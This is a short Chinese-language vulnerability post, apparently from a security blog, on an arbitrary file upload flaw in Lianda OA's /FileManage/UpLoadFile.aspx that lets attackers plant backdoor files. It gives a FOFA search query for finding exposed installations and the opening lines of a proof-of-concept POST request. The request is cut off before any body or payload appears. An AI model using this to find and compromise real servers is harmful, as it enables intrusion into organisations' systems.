联达动力oa FileManage-uploadfile.aspx文件上传漏洞

0x01 产品介绍

联达OA是一款功能强大的协同办公系统，旨在为企业提供高效、便捷的信息化管理解决方案。该系统通过整合企业各类资源，实现信息的快速传递和共享，帮助企业提高工作效率和协同能力。

0x02 漏洞概述

联达 OA uploadfile.aspx接口处存在任意文件上传漏洞，攻击者可以通过构造特殊请求包上传恶意后门文件，从而获取服务器权限。

搜索语法
fofa语法查找:
app=”联达OA”
影响版本：
全版本

0x03 漏洞复现

页面

poc:

POST /FileManage/UpLoadFile.aspx HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.1707.77 Safari/537.36
Content-Type: multipart/form-data